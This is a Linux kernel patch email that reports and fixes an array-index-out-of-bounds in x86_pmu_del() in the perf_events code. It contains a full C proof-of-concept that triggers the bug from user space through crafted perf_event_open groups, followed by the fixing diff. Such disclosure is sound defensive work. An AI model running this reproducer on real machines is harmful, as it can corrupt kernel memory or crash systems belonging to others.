[PATCH] perf_events: fix array-index-out-of-bounds in x86_pmu_del

[Oliver Rosenberg]

Vulnerability Description:
There exists a KASAN:wild-memory-access and an array-index-out-of-bounds
(-1 index) in x86_pmu_del(). When a cross-PMU event group is created
where the group leader is a PMU type that does not have txn implemented
then the cpuc->txn_flags for the siblings are not set because only the
group leader's pmu->start_txn() is called and in the case of not being
implemented it is set to perf_pmu_nop_txn(). The events are still attempted
to be processed as a group, when one of the x86 PMUs errors out,
cpuc->txn_flags is not set and event->hw.idx is not set. The x86_pmu_del()
function expects event->hw.idx not to be set when events are batched and
not yet enabled during a transaction so the function checks the
cpuc->txn_flags to skip the array-index-out-of-bounds. However, when an
event errors out and the group events are not enable here, cpuc->txn_flags
is not set and event->hw.idx is -1 so we do not skip the uses of
event->hw.idx which causes an array-index-out-of-bounds.

Vulnerability Reproduction (POC):
static int peo(struct perf_event_attr *a, int g) {
        return syscall(__NR_perf_event_open, a, 0, -1, g, 0);
}

int main(void) {
        struct perf_event_attr raw = {}, bp = {};
        int fds[64], n = 0, leader;

        raw.type = PERF_TYPE_RAW;
        raw.size = sizeof(raw);
        raw.config = 0x76;
        raw.exclude_kernel = 1;

        leader = peo(&raw, -1);
        if (leader < 0) return 1;
        while (n < 64 && (fds[n] = peo(&raw, leader)) >= 0) n++;
        for (int i = 0; i < n; i++) close(fds[i]);
        close(leader);
        if (n <= 0) return 1;

        bp.type = PERF_TYPE_BREAKPOINT;
        bp.size = sizeof(bp);
        bp.bp_type = 4;
        bp.bp_len = sizeof(long);
        bp.exclude_kernel = 1;
        bp.inherit = 1;
        leader = peo(&bp, -1);
        if (leader < 0) return 1;

        raw.inherit = 1;
        if (peo(&raw, leader) < 0 || peo(&raw, leader) < 0) return 1;

        for (int i = 0; i < n; i++)
                if (peo(&raw, -1) < 0) return 1;

        if (fork() == 0) _exit(0);
        wait(NULL);
        return 0;
}

POC Explanation:
The POC first fills the CPUs PMU events with x86 raw PMU events (type 4) to
set up the group scheduling to fail and trigger the bug, it then creates a
cross-PMU group with BREAKPOINT (type 5) as the group leader and 2 x86 raw
PMU siblings. The first sibling is added but batched and not enabled, the
second sibling fails on add because we exceed the max number of PMU events
for the cpu. This triggers the cleanup of the first sibling for which
cpu->txn_flags is not set and event->hw.idx=-1 since sibling 1 was not
enabled. This triggers the bug when event->hw.idx is used as an
array-index-out-of-bounds in x86_pmu_del().

Suggested Fix:
The suggested fix is to add a check in x86_pmu_del() to verify
event->hw.idx is set before using the value. If it is not set then jump
over the use of event->hw.idx and proceed with cleanup.

Fixes: bd2756811766 ("perf: Rewrite core context handling")
Signed-off-by: Oliver Rosenberg <olrose55@xxxxxxxxx>
---

Notes:
    This patch fixes the symptom and prevents the array-index-out-of-bounds
    caused by the dangerous use of hw->idx when it is not set. I was not sure
    if it may make sense to also solve the root cause of the issue which is
    cpuc->txn_flags not being set for PMU events in a group where the group
    leader does not implement transactions, or if this would require a redesign
    to how group events are process and have potential performance
    degredations.

 arch/x86/events/core.c | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/arch/x86/events/core.c b/arch/x86/events/core.c
index 03ce1bc7e..7474b2d66 100644
--- a/arch/x86/events/core.c
+++ b/arch/x86/events/core.c
@@ -1655,6 +1655,9 @@ static void x86_pmu_del(struct perf_event *event, int flags)
 	if (cpuc->txn_flags & PERF_PMU_TXN_ADD)
 		goto do_del;
 
+	if (event->hw.idx < 0)
+		goto remove_from_list;
+
 	__set_bit(event->hw.idx, cpuc->dirty);
 
 	/*
@@ -1663,6 +1666,8 @@ static void x86_pmu_del(struct perf_event *event, int flags)
 	x86_pmu_stop(event, PERF_EF_UPDATE);
 	cpuc->events[event->hw.idx] = NULL;
 
+remove_from_list:
+
 	for (i = 0; i < cpuc->n_events; i++) {
 		if (event == cpuc->event_list[i])
 			break;
-- 
2.43.0